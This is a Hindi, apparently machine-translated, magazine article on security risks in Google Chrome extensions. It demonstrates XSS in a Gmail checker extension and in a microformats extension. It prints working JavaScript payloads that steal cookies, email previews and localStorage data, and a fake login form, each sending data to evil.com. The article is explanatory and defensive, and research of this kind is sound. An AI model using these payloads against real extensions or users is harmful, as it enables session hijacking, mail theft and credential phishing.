Google Chrome Plugin Security

हर दिन, Google Chrome अधिक से अधिक लोकप्रिय हो रहा है। इसके रचनाकारों ने ब्राउज़र एक्सटेंशन बनाने के लिए एक प्लेटफॉर्म विकसित करने में बहुत अच्छा काम किया। वे अतिरिक्त कार्यक्षमता रखते हैं, लेकिन एक नया खतरा भी है।



इस सामग्री के हिस्से के रूप में, मैं विस्तार से वर्णन नहीं करूंगा कि क्रोम में विस्तार वास्तुकला क्या है। आप लैरी सेल्टज़र "Google के क्रोम एक्सटेंशन शो सिक्योरिटी फोकस" के एक अच्छे लेख से इसके बारे में अधिक जान सकते हैं। और नीचे चर्चा की जाने वाली हर चीज को समझने के लिए, आपको कुछ बिंदुओं को महसूस करना होगा। सबसे पहले, क्रोम ब्राउज़र, फ़ायरफ़ॉक्स की तरह, एक्सटेंशन का समर्थन करता है। वास्तव में, ये छोटे सॉफ्टवेयर मॉड्यूल हैं जिनके साथ आप बुनियादी कार्यक्षमता को बदल सकते हैं और सुधार सकते हैं। दूसरी - प्लगइन्स सामान्य वेब तकनीकों का उपयोग करके विकसित की जाती हैं: HTML और जावास्क्रिप्ट, जिनमें HTML5 और CSS की अच्छाइयाँ शामिल हैं। इन तकनीकों का उपयोग विकास की प्रक्रिया को परिमाण के क्रम से सरल करता है, विशेष रूप से फायरलीस के लिए एक विस्तार लिखने के साथ तुलना में (हालांकि यह ज्यादातर उसी जावास्क्रिप्ट का उपयोग करता है)। और तीसरा, सभी प्लगइन्स एक ही संरचना पर बनाए गए हैं। आमतौर पर, Chrome के लिए एक्सटेंशन में निम्नलिखित घटक शामिल होते हैं:

• मैनिफ़ेस्ट.जॉन मेनिफ़ेस्ट फ़ाइल - इसमें एक्सटेंशन के बारे में जानकारी होती है: उदाहरण के लिए, इसका नाम और विवरण, संस्करण, प्रयुक्त फाइलें, विशेषाधिकार, और बहुत कुछ;
• एक या एक से अधिक HTML पृष्ठ, जिसमें पृष्ठ पृष्ठ background.html शामिल है, जो एक विस्तार इंजन के रूप में कार्य करता है;
• वैकल्पिक: एम्बेडेड स्क्रिप्ट सहित एक या एक से अधिक जेएस स्क्रिप्ट (यह ओपेरा और मोज़ेरेला में ग्रीसीमोनी में UserJS का एक एनालॉग है);
• वैकल्पिक: बाकी सब कुछ जिसकी आवश्यकता हो सकती है - उदाहरण के लिए, छवि फ़ाइलें।

यह सारा खेत एक्सटेंशन क्रैक्स के साथ ज़िप संग्रह में पैक किया गया है। ऐड-ऑन पृष्ठों के बीच संचार के लिए, एक पृष्ठ से दूसरे पृष्ठ से फ़ंक्शन कॉल करना और यहां तक ​​कि डोम मॉडल को बदलना संभव है। हालाँकि, यह एम्बेडेड स्क्रिप्ट पर लागू नहीं होता है जिसके लिए संदेश तंत्र का उपयोग किया जाता है। एक्सटेंशन पृष्ठों के लिए, बुकमार्क, ब्राउज़िंग इतिहास, कुकीज़, विंडो, टैब, ईवेंट और इसी तरह के साथ काम करने के लिए विशेष ब्राउज़र एपीआई उपलब्ध हैं।

Google Chrome में विस्तार उपकरण

अब, एक्सटेंशन की संरचना का एक सामान्य विचार होने के नाते, मैं यह समझने का प्रस्ताव करता हूं कि ये प्रौद्योगिकियां क्या जोखिम उठा सकती हैं और क्रोम के लिए ऐड-ऑन के डेवलपर्स को क्या विचार करना चाहिए।

XSS

जीमेल, गूगल मेल चेकर प्लस की जाँच के लिए लोकप्रिय (प्रति सप्ताह लगभग 18,368 इंस्टॉलेशन) पर विचार करें। यह उपयोगी ऐडऑन केवल एक ही काम करता है - यह आपके इनबॉक्स में अपठित अक्षरों की संख्या दिखाता है, और बटन पर क्लिक करके एक पूर्वावलोकन विंडो खोलता है। इसके अलावा, यह डेस्कटॉप पर अलर्ट लागू करता है।

Google मेल परीक्षक प्लस पॉपअप में ईमेल पूर्वावलोकन

पूर्वावलोकन क्षेत्र में, हम कम से कम पत्र के विषय, प्रेषक और संदेश के पाठ को सीधे देख सकते हैं। आइए इससे खेलने की कोशिश करते हैं। यदि आप अगले विषय के साथ एक पत्र भेजते हैं तो क्या होगा?

2"'><script src="http://evil.com/own.js"></script> 

यहां भेद्यता प्रदर्शित करने के लिए एक साधारण जावास्क्रिप्ट भार है।

 document.body.innerHTML = ''; img = new Image(); img.src = 'http://evil.com/stallowned.jpg'; document.body.appendChild(img); 

पत्र आने के बाद, हम पहले डेस्कटॉप पर एक अधिसूचना देखेंगे:

Google मेल चेकर प्लस अधिसूचना में XSS

और फिर एक्सटेंशन बटन पर क्लिक करके हम अपने XSS को एक्सटेंशन पॉप-अप विंडो में देखेंगे:

Google मेल चेकर प्लस में XSS

बिंगो! वैसे, इस भेद्यता को जून 2010 में लॉस्टमन उपनाम के तहत एक व्यक्ति द्वारा खोजा गया था, लेकिन मैंने इसे उठाया, और विस्तार के लेखक को फिर से सुधार करना पड़ा :)। बग पर रिपोर्टिंग करने वाले एक ही व्यक्ति ने लिखा:

सभी एक्सटेंशन उसके मूल पर चलते हैं और एक्सटेंशन से डेटा को बदलने या संवेदनशील डेटा जैसे ईमेल ईमेल या पासवर्ड आदि प्राप्त करने का कोई तरीका नहीं है ...

ऐसी कमजोरियों के माध्यम से संवेदनशील डेटा प्राप्त करने में असमर्थता के बारे में बात करते हुए, वह काफी सही नहीं है :)। आइए देखें कि ब्राउज़र के विस्तार के मामले में केले XSS का उपयोग करके क्या किया जा सकता है।

कुकीज़

सत्र डेटा XSS हमलों के लिए एक लोकप्रिय लक्ष्य है। लेकिन एक्सटेंशन एक प्रकार के सैंडबॉक्स में काम करता है और आप पहले से ही दस्तावेज़ के माध्यम से कुकीज़ तक सीधी पहुँच प्राप्त नहीं कर सकते हैं। पहले से ही ऑब्जेक्ट - हमें एपीआई का उपयोग करने की आवश्यकता है। कुकीज़ के साथ काम करने के लिए, विस्तार (और हम भी) को विशेष रूप से विशेषाधिकारों और डोमेन को स्पष्ट रूप से प्रकट करने की आवश्यकता है, उदाहरण के लिए, इस तरह:

 { "name": "My extension", ... "permissions": [ "cookies", "*://*.google.com" ], ... } 

जाहिर है, जोखिम तब बढ़ जाता है जब एक्सटेंशन में बहुत अधिक अधिकार होते हैं, अर्थात्, कम से कम कुकीज़ और बड़ी संख्या में पंजीकृत डोमेन के साथ काम करने का अधिकार होता है। इस मामले में, XSS एक बहुत अधिक खतरनाक चीज बन जाती है, क्योंकि एक हमलावर एक ही समय में सभी अनुमत डोमेन के कुकीज़ तक पहुंच प्राप्त कर सकता है। निम्न कोड प्रदर्शित करता है कि सभी उपलब्ध कुकीज़ कैसे एकत्र करें और उन्हें स्निफर को भेजें:

 chrome.cookies.getAll({}, function(cookies) { var dump = 'COOKIES: '; for (var i in cookies) { dump += cookies[i].domain + ':' + cookies[i].name + ':' + cookies[i].value + ' | '; } img = new Image(); img.src = 'http://evil.com/stallowned.jpg?' + dump; document.body.appendChild(img); }); 

सभी डेटा हमारे वेब सर्वर के अनुरोध लॉग में प्रदर्शित किए जाएंगे।

एक हमले के लक्ष्य के रूप में वेब ब्राउज़र डेटा

पिछले भाग में, हमने जोखिम को देखा कि एक विस्तार भेद्यता XSS को जन्म दे सकती है। कुछ शर्तों के तहत (प्रकट फ़ाइल में बड़ी संख्या में विशेषाधिकार और डोमेन हैं), एक हमलावर विभिन्न साइटों से कुकीज़ प्राप्त कर सकता है, और यह नियमित वेब एप्लिकेशन में XSS पर एक मजबूत लाभ है। वह इस तरह के दिलचस्प डेटा को वेब ब्राउज़र, बुकमार्क और एपीआई के माध्यम से उपलब्ध अन्य जानकारी के साथ उचित अनुमति के साथ प्राप्त कर सकेगा।
इस प्रकार, एक्सटेंशन के प्रकार और इसके विशेषाधिकारों के आधार पर, XSS अपने कंप्यूटर पर उपयोगकर्ता डेटा का एक समझौता कर सकता है, न कि केवल कुकीज़ की चोरी से।

ईमेल चोरी

XSS के साथ, आप बाहरी सामग्री प्रदर्शित करने के लिए जीमेल की सेटिंग को आसानी से बायपास कर सकते हैं। इसे इतना महत्वपूर्ण न होने दें। लेकिन अगर कोई हमलावर एक विशिष्ट पत्र में मनमाने ढंग से HTML / जावास्क्रिप्ट एम्बेड कर सकता है, तो वह एक टैग जोड़ सकता है, और सर्वर से एक तस्वीर के अनुरोध पर, पत्र पढ़ने के तथ्य को निर्धारित कर सकता है। जीमेल में बाहरी सामग्री प्रदर्शित करने के लिए सेटिंग्स की परवाह किए बिना यह सब संभव है! लेकिन यह बकवास है, लेकिन जो वास्तव में गंभीर है वह पत्राचार का अपहरण है। एक दूसरे के लिए कल्पना करें कि आपको इस तरह का जावास्क्रिप्ट लोड मिले:

 var dump = ''; var e = document.getElementsByTagName('a'); i=0; while(i < e.length) { if (e[i].className == 'openLink') { dump += e[i].innerText + ' | '; } i++; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img); 

यह पॉप-अप एक्सटेंशन विंडो में एक संदेश डंप से ज्यादा कुछ नहीं है। यहां सब कुछ सरल है - हम उन सभी तत्वों से गुज़रते हैं जिनमें अक्षरों की सूची है जिसमें संदेश के बारे में जानकारी (प्रेषक, तिथि, विषय और संदेश का एक टुकड़ा) प्रदर्शित होती है, और इसे हमलावर के सर्वर पर भेजते हैं।

एक्सटेंशन सेटिंग - दिलचस्प डेटा भी हो सकता है!

एक्सटेंशन अपनी सेटिंग्स में महत्वपूर्ण जानकारी को स्टोर कर सकते हैं, जो HTML5 वेब स्टोरेज इंजन का उपयोग करके एक्सेस की जाती हैं। बेशक, ऐसे ऐड-ऑन की तलाश की जानी चाहिए, लेकिन वे मौजूद हैं, यह 100% है। उदाहरण के लिए, प्रमाणीकरण जानकारी को ऐसे "खराब" प्लगइन की सेटिंग्स में संग्रहीत किया जा सकता है, और हम इसे निम्नलिखित स्क्रिप्ट का उपयोग करके वहां से प्राप्त करेंगे:

 var dump = ' LOCALSTORAGE: '; for (i = 0; i < localStorage.length; i++ ) { dump += "KEY: " + localStorage.key(i); dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | "; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img); 

फ़िशिंग

जैसा कि ऊपर उल्लेख किया गया है, एक्सटेंशन सीधे कुकीज़ तक नहीं पहुंच सकता है, इसलिए प्लग-इन डेवलपर्स को उपयुक्त एपीआई का उपयोग करने की आवश्यकता है। इस प्रकार, XSS हमले के एक हिस्से के रूप में कुकीज़ प्राप्त करना एक गैर-तुच्छ समाधान बन जाता है। लेकिन दूसरी ओर - किसी ने भी सामान्य फ़िशिंग को रद्द नहीं किया! एक हमलावर एक सरल लॉगिन छद्म रूप बना सकता है और इसे एक साधारण लोड के माध्यम से पीड़ित को दिखा सकता है:

 var msg = 'Please, enter account information.'; msg += '<form action="http://evil.com/login">Username: <input type=text name=user>'; msg += '<br>Password: <input type=password name=pass><br><input type=submit></form>'; document.body.innerHTML = msg; 

स्क्रीनशॉट बहुत सुंदर नहीं दिखता है, लेकिन यह सिर्फ एक अवधारणा है।

फ़िशिंग

JSON जोखिम

JSON एक हल्का पाठ प्रारूप है जो क्लाइंट और सर्वर भागों के बीच डेटा का आदान-प्रदान करने के लिए वेब 2.0 वेब अनुप्रयोगों में व्यापक रूप से उपयोग किया जाता है। मैनिफ़ेस्ट फ़ाइल का वर्णन करने के लिए इसका उपयोग Chrome प्लग इन में भी किया जाता है:

 { "name": "Extension", "version": "1.0", "description": "Some extension", "icons": { "128": "icon.png" }, "permissions": ["http://example.com/"], "browser_action": { "default_title": "", "default_icon": "pic.png", "default_popup": "view.html" } } 

JSON के असुरक्षित उपयोग से जुड़े कम से कम दो प्रमुख जोखिम हैं:

1. अविश्वसनीय डेटा (जैसे, कस्टम) को पार्स करने के लिए जावास्क्रिप्ट के eval () फ़ंक्शन का उपयोग करना। Google डेवलपर्स ने विशेष रूप से इस जोखिम पर प्रकाश डाला और JSON.parse पद्धति में अंतर्निहित JSON का उपयोग करके सुरक्षित रूप से पार्स करने के लिए सिफारिशें लिखीं।
2. एक कम स्पष्ट, लेकिन जावास्क्रिप्ट डेटा चोरी करने वाले JSON को चोरी करने का कोई कम खतरनाक जोखिम नहीं है।

JSON (P) के बारे में मत भूलना, जो डोमेन के बीच डेटा का आदान-प्रदान करने के लिए उपयोग किया जाता है। क्रोम एक्सटेंशन के संदर्भ में, यह संभावित भेद्यता एक नियमित वेब एप्लिकेशन के लिए समान से बहुत भिन्न नहीं है। इसके अलावा, किसी भी मध्यवर्ती प्रॉक्सी का उपयोग करके, आप देख सकते हैं कि वेब सेवा के विस्तार और सर्वर भाग के बीच डेटा का आदान-प्रदान कैसे होता है। और सुरक्षा के मुद्दे भी हो सकते हैं।

एंबेडेड लिपियों

हमने बार-बार लिपियों को लागू करने के बारे में बात की है (मुद्दों में से एक में) [यहां तक ​​कि ग्रीसीमोंकी और इसकी क्षमताओं के बारे में भी विस्तृत सामग्री थी)। उनके उपयोग का एक अच्छा उदाहरण एक HTML टैग में एक पृष्ठ पर सभी URL का स्वचालित फ़्रेमिंग है, जिससे उन्हें लिंक बनाते हैं, भले ही पृष्ठ लेखक ने इस बात का ध्यान न रखा हो। एक एम्बेडेड स्क्रिप्ट (सामग्री स्क्रिप्ट), वास्तव में, जावास्क्रिप्ट का एक विशेष टुकड़ा है जो आवश्यक पृष्ठों में एम्बेडेड है और, महत्वपूर्ण रूप से, उनके संदर्भ में निष्पादित किया जाता है, और विस्तार के संदर्भ में नहीं। इस प्रकार, ये स्क्रिप्ट वर्तमान पृष्ठ की सामग्री को पढ़ने और संशोधित करने के लिए स्वतंत्र हैं, लेकिन साथ ही वे एपीआई एक्सटेंशन के उपयोग में गंभीर रूप से सीमित हैं। सटीक होने के लिए, वे निम्नलिखित कार्य नहीं कर सकते:

• क्रोम का उपयोग करें। * एपीआई (क्रोम भागों को छोड़कर);
• पैरेंट एक्सटेंशन में परिभाषित चर और कार्यों का उपयोग करें
• सीधे पेज कोड या अन्य एम्बेडेड स्क्रिप्ट में परिभाषित चर और फ़ंक्शन का उपयोग करें;
• क्रॉस-डोमेन XMLHttpRequests अनुरोध करें।

दूसरी ओर, एम्बेडेड स्क्रिप्ट एक विशेष मैसेजिंग तकनीक का उपयोग करके मूल एक्सटेंशन के साथ संवाद कर सकती है। सामान्य शब्दों में, हमारे पास अंतर्निहित स्क्रिप्ट से जुड़े दो जोखिम हैं:

1. विज़िट किए गए पृष्ठ की सामग्री को बदलने की क्षमता के कारण, खराब लिखी गई स्क्रिप्ट उस पृष्ठ पर भेद्यता जोड़ सकती है जहां यह भेद्यता मूल रूप से नहीं थी!
2. दुर्भावनापूर्ण पृष्ठ ही एम्बेडेड स्क्रिप्ट के माध्यम से वेब ब्राउज़र के विस्तार पर हमला कर सकता है।

आइए दूसरे मामले के एक उदाहरण को देखें और माइक्रोफ़ॉर्मेट्स के साथ काम करने के लिए अधिक विस्तार से विचार करें। नीचे लोकप्रिय hCard microformat के साथ HTML का एक स्निपेट है। URL फ़ील्ड में, हमने स्टफ किया कि सबसे अधिक संभावना है कि एक्सटेंशन वहां देखने की योजना नहीं करता है:

 <div class="vcard"> <div class="fn">James Bond</div> <div class="org">MI-6</div> <div class="tel">604-555-1234</div> <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>'; document.body.appendChild(d);</script>233">http://example.com/</a> </div> 

यदि हमारे पास यह एडऑन स्थापित है और हम इस तरह के कोड के साथ एक पृष्ठ पर जाते हैं, तो एक्सटेंशन इसे बाहर खींचने की कोशिश करेगा, इसे पार्स करेगा और हमें किसी व्यक्ति के बारे में यह डेटा दिखाएगा।

माइक्रोफ़ॉर्मेट्स एक्सटेंशन पर हमला

हमारे लोड ने काम किया, और परिणाम दिखाई दे रहा है? लेकिन जोखिम क्या हैं? और यहाँ कुछ हैं। प्रश्न का विस्तार OAuth प्रोटोकॉल और Google पता पुस्तिका API सेवा का उपयोग करके आपके Google खाते से संवाद कर सकता है। आपकी अनुमति से, इसे पता पुस्तिका तक पहुंच प्राप्त है और पॉप-अप विंडो में संबंधित बटन पर क्लिक करके वहां प्रविष्टियां जोड़ सकते हैं। यहाँ एक ऐसा सरल कोड है जो Gmail पर आपकी एड्रेस बुक में एक मनमाना संपर्क जोड़ने के लिए jQuery के चिप्स का उपयोग करता है!

 $(".submithcard").click() 

इस प्रकार, हम एम्बेडेड स्क्रिप्ट्स द्वारा एपीआई के उपयोग पर गंभीर प्रतिबंधों को दरकिनार करने में कामयाब रहे, और लोड को मुख्य विस्तार विंडो में भेज दिया गया, जिसमें हमारे पास पहले से ही अधिक विकल्प हैं।

निष्कर्ष

आखिर में आप क्या कहना चाहते हैं? Google Chrome के डेवलपर्स ने वास्तव में एक अच्छा एक्सटेंशन आर्किटेक्चर बनाया और गुणवत्ता और सुरक्षित एक्सटेंशन लिखने का पर्याप्त अवसर प्रदान किया। लेकिन साथ ही, हम देखते हैं कि कैसे दुर्भाग्यपूर्ण डेवलपर्स की सक्रिय भागीदारी के साथ विकास (एचटीएमएल, सीएसएस और जावास्क्रिप्ट) के लिए चुनी गई प्रौद्योगिकियां ऐड-ऑन की हमलों की संवेदनशीलता के लिए योगदान करती हैं, जैसे, एक्सएसएस, जिसे हम वेब अनुप्रयोगों के संदर्भ में उपयोग करते हैं। इसी समय, ऐसे एक्सएसएस से जोखिम एक नियमित वेब अनुप्रयोग में एक्सएसएस से भी बदतर हो सकता है। एक्सटेंशन के रचनाकारों को निश्चित रूप से डेवलपर के गाइड में "सुरक्षा विचारों" अनुभाग को विशेष रूप से ध्यान से पढ़ने की आवश्यकता है, और उपयोगकर्ताओं को एक्सटेंशन अपडेट पर नज़र रखना चाहिए और उन्हें समय पर स्थापित करना चाहिए!

उपयोगी लिंक:

• HTML5 विनिर्देशन
• Google Chrome एक्सटेंशन डेवलपर अनुभाग
• माइक्रोफ़ॉर्मेट

हैकर पत्रिका, जून (06) 149
तारास इवाशेंको

हैकर की सदस्यता लें

• 1 999 पी। पेपर विकल्प के 12 नंबरों के लिए
• 1249 आरयूआर iOS / iPad की वार्षिक सदस्यता के लिए (Android रिलीज़ जल्द ही आ रहा है!)
• एंड्रॉइड पर हैकर